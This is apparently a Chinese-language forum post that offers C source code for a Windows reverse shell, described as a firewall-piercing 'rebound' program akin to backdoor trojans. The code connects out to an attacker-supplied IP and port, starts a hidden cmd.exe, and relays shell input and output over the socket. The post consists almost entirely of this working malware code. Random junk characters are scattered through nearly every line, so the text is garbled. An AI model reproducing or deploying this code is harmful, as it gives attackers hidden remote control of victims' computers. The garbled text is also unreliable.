Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 t-gLh(-.  

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/* ============================== RjcU0$Hi  
Rebound port in Windows NT /:+f5\"-b  
By wind,2006/7 fLtN-w6t  
===============================*/ vj_[LFE  
#include Z7="on4  
#include \Nvu[P  
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#pragma comment(lib,"wsock32.lib") 1(q&(p  
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void OutputShell(); >!U oS  
SOCKET sClient; `GBa3  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; LA837P  
mm l`,t8  
void main(int argc,char **argv) DL t"cAW  
{ V,*<E&+  
WSADATA stWsaData; RZ6[+Ygn  
int nRet; b-`=
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SOCKADDR_IN stSaiClient,stSaiServer; /O^aFIxk  
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if(argc != 3) [f1'Qb  
{ Fv<^\q  
printf("Useage:\n\rRebound DestIP DestPort\n"); Fx3CY W  
return; F3%8E<QZd;  
} _K4E6c_  
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WSAStartup(MAKEWORD(2,2),&stWsaData); yMd<<:Ap  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); |+aUy^  
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stSaiClient.sin_family = AF_INET; 6XFLWN-)  
stSaiClient.sin_port = htons(0); 9i=HZ\s3  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 6w"_sK?  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) a7?)x])e  
{ x @a3STKT  
printf("Bind Socket Failed!\n"); J[k,S(Y  
return; G0izZWc  
} PX} ~  
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stSaiServer.sin_family = AF_INET;
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stSaiServer.sin_port = htons((u_short)atoi(argv[2])); a(eKb2CX  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Rs +),  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) -5 Q gJ  
{ B&M-em=  
printf("Connect Error!"); ,\Q^[e!m~  
return; oOAn 5t@  
} l9P=1TL  
OutputShell(); p9(|p Z  
} _=\J:r|Y:  
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void OutputShell() DD?zbN0X  
{ }g9g]\.!a  
char szBuff[1024]; 2}BQ=%E!'  
SECURITY_ATTRIBUTES stSecurityAttributes; v|7=IJ  
OSVERSIONINFO stOsversionInfo; :;g7T-_q  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 4pJ #fk
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STARTUPINFO stStartupInfo; Bn<1zg5  
char *szShell; O6[4=4L  
PROCESS_INFORMATION stProcessInformation; _1hiNh$  
unsigned long lBytesRead; Bw{enf$vR  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); :f/T$fa*  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 0^-1/Ec  
stSecurityAttributes.lpSecurityDescriptor = 0; <y4WG  
stSecurityAttributes.bInheritHandle = TRUE; o?O> pK  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); r-s9]0"7~  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); B*3<(eI  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); qk *b,`;  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; l2*o@&.  
stStartupInfo.wShowWindow = SW_HIDE; 'O+)[D  
stStartupInfo.hStdInput = hReadPipe; MV?#g-5  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; SqosJ}K  
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GetVersionEx(&stOsversionInfo); I;g>r8N-Bu  
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switch(stOsversionInfo.dwPlatformId) 0zHMtC1,  
{ |lG7/\A  
case 1: G &QGQ  
szShell = "command.com"; /7CV7=^d,  
break; EW~M
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default: b3M`vJ+{  
szShell = "cmd.exe"; ?nCo?A  
break; @4]} J-3  
} JGRL&MG4  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); nc[Kh8N9  
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send(sClient,szMsg,77,0); zAkF:^#Y  
while(1) O}3|UI!`  
{ >oGs0mej  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); B'D\l\w  
if(lBytesRead) Gv+$7{  
{ `bJ?8~ 8*  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); k E},>+W+  
send(sClient,szBuff,lBytesRead,0); +}eH,  
} Py~1xf/  
else 5kx-s6`!  
{ b9Mp@I7Q-  
lBytesRead=recv(sClient,szBuff,1024,0); r^v1_u,1I  
if(lBytesRead<=0) break; oO4hBM([  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); X? l5}  
} /_D_W,#P  
} 3Ow bU  
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return; O\+b1+&b3Y  
}